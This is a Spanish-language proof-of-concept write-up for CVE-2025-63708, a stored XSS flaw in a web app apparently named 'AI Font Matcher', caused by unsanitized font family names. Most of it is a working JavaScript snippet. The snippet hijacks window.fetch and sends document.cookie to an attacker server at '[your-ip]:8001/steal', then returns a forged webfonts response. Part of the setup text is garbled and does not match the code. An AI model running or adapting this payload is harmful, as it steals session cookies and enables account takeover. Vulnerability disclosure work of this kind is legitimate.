
Prueba de concepto de exploit para CVE-2025-63708, una vulnerabilidad de XSS almacenado en AI Font Matcher. Demuestra el robo de cookies de sesión mediante nombres de familias de fuentes sin sanitizar en las respuestas de obtención de webfonts.
ID de CVE: CVE-2025-63708
Asignado: 11-12-2025
Tipo de problema: CWE-79 (Cross-Site Scripting)
Producto afectado: "AI Font Matcher" (publicado el 2025-10-10, nid=18425)
Página del producto: https://www.sourcecodester.com/javascript/18425/ai-font-matcher-using-html-css-and-javascript-source-code.html
Fecha de descubrimiento: 2025-10-11
Investigador: Dylan Davis
La aplicación procesa datos de una solicitud webfonts sin sanitizar los nombres de las familias de fuentes. Un atacante que controle o intercepte esa respuesta puede inyectar JavaScript que se ejecute en el contexto de la página, lo que permite el robo de cookies de sesión y la toma de control de la cuenta.
Este PoC demuestra la ejecución de código interceptando window.fetch y devolviendo un payload controlado de Web Fonts.
poc.js).webfonts; observe un alert(1).window.__origFetch = window.fetch;
window.fetch = async function(input, init) {
const url = (typeof input === 'string') ? input : input?.url;
if (url && url.includes('webfonts')) {
// Exfiltrate cookie to your server
fetch('http://[your-ip]:8001/steal?cookie=' +
encodeURIComponent(document.cookie))
.catch(e => console.log('Exfil failed:', e));
return new Response(JSON.stringify({
kind: "webfonts#webfontList",
items: [{ family: "Playfair Display", category: "serif" }]
}), {
status: 200,
headers: {'Content-Type': 'application/json'}
});
}
return window.__origFetch.apply(this, arguments);
};